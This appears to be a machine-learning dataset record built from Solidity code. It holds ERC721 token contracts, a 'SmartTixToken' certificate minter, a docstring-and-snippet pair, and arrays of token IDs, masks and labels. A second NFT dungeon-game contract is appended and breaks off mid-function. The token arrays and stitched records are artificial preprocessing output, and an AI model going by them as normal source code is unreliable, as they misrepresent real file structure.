library AddressUtils {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param addr address to check
* @return whether the target address is a contract
*/
function isContract(address addr) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solium-disable-next-line security/no-inline-assembly
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
/**
* 0x01ffc9a7 ===
* bytes4(keccak256('supportsInterface(bytes4)'))
*/
/**
* @dev a mapping of interface id to whether or not it's supported
*/
mapping(bytes4 => bool) internal supportedInterfaces;
/**
* @dev A contract implementing SupportsInterfaceWithLookup
* implement ERC165 itself
*/
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
/**
* @dev implement supportsInterface(bytes4) using a lookup table
*/
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
/**
* @dev private method for registering an interface
*/
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721Basic is ERC165 {
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
/**
* @title ERC-721 Non-Fungible Token Standard, full implementation interface
* @dev See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md
*/
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
bytes4 private constant InterfaceId_ERC721 = 0x80ac58cd;
/*
* 0x80ac58cd ===
* bytes4(keccak256('balanceOf(address)')) ^
* bytes4(keccak256('ownerOf(uint256)')) ^
* bytes4(keccak256('approve(address,uint256)')) ^
* bytes4(keccak256('getApproved(uint256)')) ^
* bytes4(keccak256('setApprovalForAll(address,bool)')) ^
* bytes4(keccak256('isApprovedForAll(address,address)')) ^
* bytes4(keccak256('transferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256)')) ^
* bytes4(keccak256('safeTransferFrom(address,address,uint256,bytes)'))
*/
bytes4 private constant InterfaceId_ERC721Exists = 0x4f558e79;
/*
* 0x4f558e79 ===
* bytes4(keccak256('exists(uint256)'))
*/
using SafeMath for uint256;
using AddressUtils for address;
// Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`
// which can be also obtained as `ERC721Receiver(0).onERC721Received.selector`
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
// Mapping from token ID to owner
mapping (uint256 => address) internal tokenOwner;
// Mapping from token ID to approved address
mapping (uint256 => address) internal tokenApprovals;
// Mapping from owner to number of owned token
mapping (address => uint256) internal ownedTokensCount;
// Mapping from owner to operator approvals
mapping (address => mapping (address => bool)) internal operatorApprovals;
/**
* @dev Guarantees msg.sender is owner of the given token
* @param _tokenId uint256 ID of the token to validate its ownership belongs to msg.sender
*/
modifier onlyOwnerOf(uint256 _tokenId) {
require(ownerOf(_tokenId) == msg.sender);
_;
}
/**
* @dev Checks msg.sender can transfer a token, by being owner, approved, or operator
* @param _tokenId uint256 ID of the token to validate
*/
modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
constructor()
public
{
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
/**
* @dev Gets the balance of the specified address
* @param _owner address to query the balance of
* @return uint256 representing the amount owned by the passed address
*/
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
/**
* @dev Gets the owner of the specified token ID
* @param _tokenId uint256 ID of the token to query the owner of
* @return owner address currently marked as the owner of the given token ID
*/
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
/**
* @dev Returns whether the specified token exists
* @param _tokenId uint256 ID of the token to query the existence of
* @return whether the token exists
*/
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
/**
* @dev Approves another address to transfer the given token ID
* The zero address indicates there is no approved address.
* There can only be one approved address per token at a given time.
* Can only be called by the token owner or an approved operator.
* @param _to address to be approved for the given token ID
* @param _tokenId uint256 ID of the token to be approved
*/
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
/**
* @dev Gets the approved address for a token ID, or zero if no address set
* @param _tokenId uint256 ID of the token to query the approval of
* @return address currently approved for the given token ID
*/
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
/**
* @dev Sets or unsets the approval of a given operator
* An operator is allowed to transfer all tokens of the sender on their behalf
* @param _to operator address to set the approval
* @param _approved representing the status of the approval to be set
*/
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
/**
* @dev Tells whether an operator is approved by a given owner
* @param _owner owner address which you want to query the approval of
* @param _operator operator address which you want to query the approval of
* @return bool whether the given operator is approved by the given owner
*/
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
/**
* @dev Transfers the ownership of a given token ID to another address
* Usage of this method is discouraged, use `safeTransferFrom` whenever possible
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
*
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
canTransfer(_tokenId)
{
// solium-disable-next-line arg-overflow
safeTransferFrom(_from, _to, _tokenId, "");
}
/**
* @dev Safely transfers the ownership of a given token ID to another address
* If the target address is a contract, it must implement `onERC721Received`,
* which is called upon a safe transfer, and return the magic value
* `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`; otherwise,
* the transfer is reverted.
* Requires the msg sender to be the owner, approved, or operator
* @param _from current owner of the token
* @param _to address to receive the ownership of the given token ID
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes data to send along with a safe transfer check
*/
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
canTransfer(_tokenId)
{
transferFrom(_from, _to, _tokenId);
// solium-disable-next-line arg-overflow
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
/**
* @dev Returns whether the given spender can transfer a given token ID
* @param _spender address of the spender to query
* @param _tokenId uint256 ID of the token to be transferred
* @return bool whether the msg.sender is approved for the given token ID,
* is an operator of the owner, or is the owner of the token
*/
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
// Disable solium check because of
// https://github.com/duaraghav8/Solium/issues/175
// solium-disable-next-line operator-whitespace
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to The address that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
/**
* @dev Internal function to clear current approval of a given token ID
* Reverts if the given address is not indeed the owner of the token
* @param _owner owner of the token
* @param _tokenId uint256 ID of the token to be transferred
*/
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
/**
* @dev Internal function to invoke `onERC721Received` on a target address
* The call is not executed if the target address is not a contract
* @param _from address representing the previous owner of the given token ID
* @param _to target address that will receive the tokens
* @param _tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
bytes4 private constant InterfaceId_ERC721Enumerable = 0x780e9d63;
/**
* 0x780e9d63 ===
* bytes4(keccak256('totalSupply()')) ^
* bytes4(keccak256('tokenOfOwnerByIndex(address,uint256)')) ^
* bytes4(keccak256('tokenByIndex(uint256)'))
*/
bytes4 private constant InterfaceId_ERC721Metadata = 0x5b5e139f;
/**
* 0x5b5e139f ===
* bytes4(keccak256('name()')) ^
* bytes4(keccak256('symbol()')) ^
* bytes4(keccak256('tokenURI(uint256)'))
*/
// Token name
string internal name_;
// Token symbol
string internal symbol_;
// Mapping from owner to list of owned token IDs
mapping(address => uint256[]) internal ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) internal ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] internal allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) internal allTokensIndex;
// Optional mapping for token URIs
mapping(uint256 => string) internal tokenURIs;
/**
* @dev Constructor function
*/
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
/**
* @dev Gets the token name
* @return string representing the token name
*/
function name() external view returns (string) {
return name_;
}
/**
* @dev Gets the token symbol
* @return string representing the token symbol
*/
function symbol() external view returns (string) {
return symbol_;
}
/**
* @dev Returns an URI for a given token ID
* Throws if the token ID does not exist. May return an empty string.
* @param _tokenId uint256 ID of the token to query
*/
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
/**
* @dev Gets the token ID at a given index of the tokens list of the requested owner
* @param _owner address owning the tokens list to be accessed
* @param _index uint256 representing the index to be accessed of the requested tokens list
* @return uint256 token ID at the given index of the tokens list owned by the requested address
*/
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
/**
* @dev Gets the total amount of tokens stored by the contract
* @return uint256 representing the total amount of tokens
*/
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
/**
* @dev Gets the token ID at a given index of all the tokens in this contract
* Reverts if the index is greater or equal to the total number of tokens
* @param _index uint256 representing the index to be accessed of the tokens list
* @return uint256 token ID at the given index of the tokens list
*/
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
/**
* @dev Internal function to set the token URI for a given token
* Reverts if the token ID does not exist
* @param _tokenId uint256 ID of the token to set its URI
* @param _uri string URI to assign
*/
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
/**
* @dev Internal function to add a token ID to the list of a given address
* @param _to address representing the new owner of the given token ID
* @param _tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
/**
* @dev Internal function to remove a token ID from the list of a given address
* @param _from address representing the previous owner of the given token ID
* @param _tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from][lastTokenIndex] = 0;
// Note that this will handle single-element arrays. In that case, both tokenIndex and lastTokenIndex are going to
// be zero. Then we can make sure that we will remove _tokenId from the ownedTokens list since we are first swapping
// the lastToken to the first position, and then dropping the element placed in the last position of the list
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
/**
* @dev Internal function to mint a new token
* Reverts if the given token ID already exists
* @param _to address the beneficiary that will own the minted token
* @param _tokenId uint256 ID of the token to be minted by the msg.sender
*/
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
/**
* @dev Internal function to burn a specific token
* Reverts if the token does not exist
* @param _owner owner of the token to burn
* @param _tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
// Clear metadata (if any)
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
// Reorg all tokens array
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract SmartTixToken is ERC721Token("TokenForum Certificates", "TokenForum"), Ownable {
event LogAddress(string msg, address output);
event LogId(string msg, uint256 output);
/**
* @dev Mints a single token to a unique address with a tokenURI.
* @param _to address of the future owner of the token
* @param _tokenURI token URI for the token
* @return newly generated token id
*/
function mintTicket(
address _to,
string _tokenURI
) public onlyOwner returns (uint256) {
// ensure 1 token per user
require(super.balanceOf(_to) == 0);
uint256 _tokenId = totalSupply().add(1);
super._mint(_to, _tokenId);
super._setTokenURI(_tokenId, _tokenURI);
return _tokenId;
}
/** @dev Sets token metadata URI.
* @param _tokenId token ID
* @param _tokenURI token URI for the token
*/
function setTokenURI(
uint256 _tokenId, string _tokenURI
) public onlyOwner {
super._setTokenURI(_tokenId, _tokenURI);
}
/** @dev Get token metadata URI.
* @param _owner address of token owner
* @return string representing URI of the user's token
*/
function getTokenURI(address _owner) public view returns (string) {
uint256 _tokenId = super.tokenOfOwnerByIndex(_owner, 0);
require(_tokenId > 0);
return super.tokenURI(_tokenId);
}
} | * @dev Checks msg.sender can transfer a token, by being owner, approved, or operator @param _tokenId uint256 ID of the token to validate/ | modifier canTransfer(uint256 _tokenId) {
require(isApprovedOrOwner(msg.sender, _tokenId));
_;
}
constructor()
public
| 306,893 | [
1,
4081,
1234,
18,
15330,
848,
7412,
279,
1147,
16,
635,
3832,
3410,
16,
20412,
16,
578,
3726,
225,
389,
2316,
548,
2254,
5034,
1599,
434,
326,
1147,
358,
1954,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
9606,
848,
5912,
12,
11890,
5034,
389,
2316,
548,
13,
288,
203,
565,
2583,
12,
291,
31639,
1162,
5541,
12,
3576,
18,
15330,
16,
389,
2316,
548,
10019,
203,
565,
389,
31,
203,
225,
289,
203,
203,
225,
3885,
1435,
203,
565,
1071,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol";
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
contract LootDungeonV2 is VRFConsumerBase, Ownable, ReentrancyGuard, ERC1155 {
using SafeMath for uint256;
/**
* LOOT
*/
uint256 public constant GENESIS_CARD = 0;
uint256 public constant ESCAPE_CARD = 1;
uint256 public constant FERRYMAN_CARD = 2;
uint256 public constant RAT_MEAT = 3;
uint256 public constant RAT_CARD = 4;
uint256 public constant SKELETON_BONES = 5;
uint256 public constant SKELETON_CARD = 6;
uint256 public constant MINOTAUR_HORNS = 7;
uint256 public constant MINOTAUR_CARD = 8;
uint256 public constant SUCCUBUS_WINGS = 9;
uint256 public constant SUCCUBUS_CARD = 10;
uint256 public constant DEMON_HEAD = 11;
uint256 public constant DEMON_CARD = 12;
uint256 public constant DRAGON_EYE = 13;
uint256 public constant DRAGON_CARD = 14;
struct Monster {
string name;
uint256 id;
uint256 hp;
uint256 armor;
uint256 attack;
uint256 agility;
uint256 dexterity;
uint256 guaranteedDrop;
uint256 luckyDrop;
}
struct Item {
uint256 hp;
uint256 armor;
uint256 attack;
uint256 agility;
uint256 dexterity;
}
struct BattleRoundResult {
bool hasNextRound;
bool won;
int256 playerHp;
int256 monsterHp;
}
uint256 public constant RAT_ID = 1;
uint256 public constant SKELETON_ID = 2;
uint256 public constant MINOTAUR_ID = 3;
uint256 public constant SUCCUBUS_ID = 4;
uint256 public constant DEMON_ID = 5;
uint256 public constant DRAGON_ID = 6;
Monster Rat =
Monster("Sewer Rat", RAT_ID, 10, 0, 5, 4, 3, RAT_MEAT, RAT_CARD);
Monster Skeleton =
Monster(
"Skeleton Warrior",
SKELETON_ID,
12,
1,
7,
4,
2,
SKELETON_BONES,
SKELETON_CARD
);
Monster Minotaur =
Monster(
"Minotaur Archer",
MINOTAUR_ID,
16,
2,
10,
7,
7,
MINOTAUR_HORNS,
MINOTAUR_CARD
);
Monster Succubus =
Monster(
"Succubus",
SUCCUBUS_ID,
10,
2,
20,
12,
5,
SUCCUBUS_WINGS,
SUCCUBUS_CARD
);
Monster Demon =
Monster("Demon", DEMON_ID, 15, 4, 15, 5, 20, DEMON_HEAD, DEMON_CARD);
Monster Dragon =
Monster(
"Fire Dragon",
DRAGON_ID,
30,
5,
25,
0,
0,
DRAGON_EYE,
DRAGON_CARD
);
Monster[6] public monsterArray;
uint256 private constant DICE_PRECISION = 2**128;
uint256 private constant ROLL_IN_PROGRESS = DICE_PRECISION + 1;
uint256 public constant LOOT_TIME_LOCK = 1 days;
uint256 public constant LUCKY_DROP_CHANCE_1_IN = 10;
uint8 public constant ESCAPE_NFT_UNCLAIMABLE = 0;
uint8 public constant ESCAPE_NFT_READY_TO_CLAIM = 1;
uint8 public constant ESCAPE_NFT_CLAIMED = 2;
uint8 public constant FERRYMAN_NFT_UNCLAIMABLE = 0;
uint8 public constant FERRYMAN_NFT_READY_TO_CLAIM = 1;
uint8 public constant FERRYMAN_NFT_CLAIMED = 2;
mapping(uint256 => uint256) public remainingMonsterCount;
bytes32 private s_keyHash;
uint256 private s_fee;
bool private isTestNetwork;
uint256 public escapePrice = 0.04 ether;
uint256 public battlePrice = 0.02 ether;
uint256 public ferrymanCurrentPrice = 0.05 ether;
uint256 public ferrymanPriceIncreasePerAttempt = 0.005 ether;
Item public basePlayerStats = Item(10, 0, 2, 1, 1);
bool public lockSettings = false;
uint256 public maxRoundsPerBattle = 7;
address public proxyRegistryAddress;
address public lootAddress; // 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7;
address public mLootAddress; // 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7;
mapping(uint256 => address) public lootOwners;
mapping(uint256 => uint256) public lootTimeLock;
mapping(uint256 => uint256) public tokenIdToEnterDungeonRollResult;
mapping(uint256 => Monster) private tokenIdEncounteredMonster;
mapping(address => uint8) private escapeNftClaimedState;
mapping(address => uint8) private ferrymanCardClaimedState;
mapping(uint256 => uint256) public agreedFerrymanPrice;
mapping(uint256 => uint256) public tokenIdToMonsterBattleRollResult;
mapping(bytes32 => uint256) private requestIdToTokenId;
event EnteredDungeon(
uint256 indexed tokenId,
address indexed playerAddress,
uint256 indexed encounteredMonster
);
event StartedBattle(uint256 indexed tokenId, address indexed playerAddress);
event VrfResponseArrived(uint256 indexed tokenId);
event WonBattle(uint256 indexed tokenId, address indexed playerAddress);
event BribedTheFerryman(
uint256 indexed tokenId,
address indexed playerAddress
);
constructor(
address vrfCoordinator,
address link,
bytes32 keyHash,
uint256 fee,
address _proxyRegistryAddress,
address _lootAddress,
address _mLootAddress,
bool _isTestNetwork
)
ERC1155("https://polygon.lootdungeon.app/api/item/{id}")
VRFConsumerBase(vrfCoordinator, link)
{
s_keyHash = keyHash;
s_fee = fee;
remainingMonsterCount[Rat.id] = 2000;
remainingMonsterCount[Skeleton.id] = 1000;
remainingMonsterCount[Minotaur.id] = 700;
remainingMonsterCount[Succubus.id] = 350;
remainingMonsterCount[Demon.id] = 100;
remainingMonsterCount[Dragon.id] = 50;
monsterArray[0] = Rat;
monsterArray[1] = Skeleton;
monsterArray[2] = Minotaur;
monsterArray[3] = Succubus;
monsterArray[4] = Demon;
monsterArray[5] = Dragon;
proxyRegistryAddress = _proxyRegistryAddress;
lootAddress = _lootAddress;
mLootAddress = _mLootAddress;
isTestNetwork = _isTestNetwork;
_mint(msg.sender, GENESIS_CARD, 5, "");
// Mint one of each NFT
_mint(msg.sender, ESCAPE_CARD, 1, "");
_mint(msg.sender, FERRYMAN_CARD, 1, "");
_mint(msg.sender, RAT_MEAT, 1, "");
_mint(msg.sender, RAT_CARD, 1, "");
_mint(msg.sender, SKELETON_BONES, 1, "");
_mint(msg.sender, SKELETON_CARD, 1, "");
_mint(msg.sender, MINOTAUR_HORNS, 1, "");
_mint(msg.sender, MINOTAUR_CARD, 1, "");
_mint(msg.sender, SUCCUBUS_WINGS, 1, "");
_mint(msg.sender, SUCCUBUS_CARD, 1, "");
_mint(msg.sender, DEMON_HEAD, 1, "");
_mint(msg.sender, DEMON_CARD, 1, "");
_mint(msg.sender, DRAGON_EYE, 1, "");
_mint(msg.sender, DRAGON_CARD, 1, "");
}
modifier onlyIfEnoughLink() {
if (isTestNetwork == false) {
require(
LINK.balanceOf(address(this)) >= s_fee,
"Not enough LINK to pay fee"
);
}
_;
}
modifier onlyLootBagOwner(uint256 tokenId) {
require(
lootOwners[tokenId] == _msgSender(),
"You do not have permissions to use this loot bag"
);
_;
}
modifier onlyIfNotLocked() {
require(lockSettings == false, "The contract settings are locked");
_;
}
modifier onlyLootBagOwnerBeforeTimelock(uint256 tokenId) {
require(lootOwners[tokenId] == _msgSender());
require(block.timestamp <= lootTimeLock[tokenId]);
_;
}
modifier onlyIfBattleFinished(uint256 tokenId) {
require(
tokenIdToMonsterBattleRollResult[tokenId] != uint256(0x0),
"You have not started the battle yet"
);
require(
tokenIdToMonsterBattleRollResult[tokenId] != ROLL_IN_PROGRESS,
"Waiting for VRF to supply a random number"
);
_;
}
function hasEnoughLink() public view returns (bool) {
return LINK.balanceOf(address(this)) >= s_fee;
}
function getLootOwner(uint256 tokenId) public view returns (address) {
return lootOwners[tokenId];
}
function _getRolledMonster(uint256 rollResult)
internal
view
returns (Monster memory)
{
uint256 totalMonsters = getRemainingMonsterCount();
require(totalMonsters > 0, "All monsters have been slayed.");
uint256 boundedResult = rollResult.sub(1).mod(totalMonsters);
uint256 cap = 0;
for (uint256 i = 0; i < monsterArray.length; i++) {
Monster memory currMonster = monsterArray[i];
cap += remainingMonsterCount[currMonster.id];
if (boundedResult < cap) {
return currMonster;
}
}
revert("Shouldnt get to this point x__x");
}
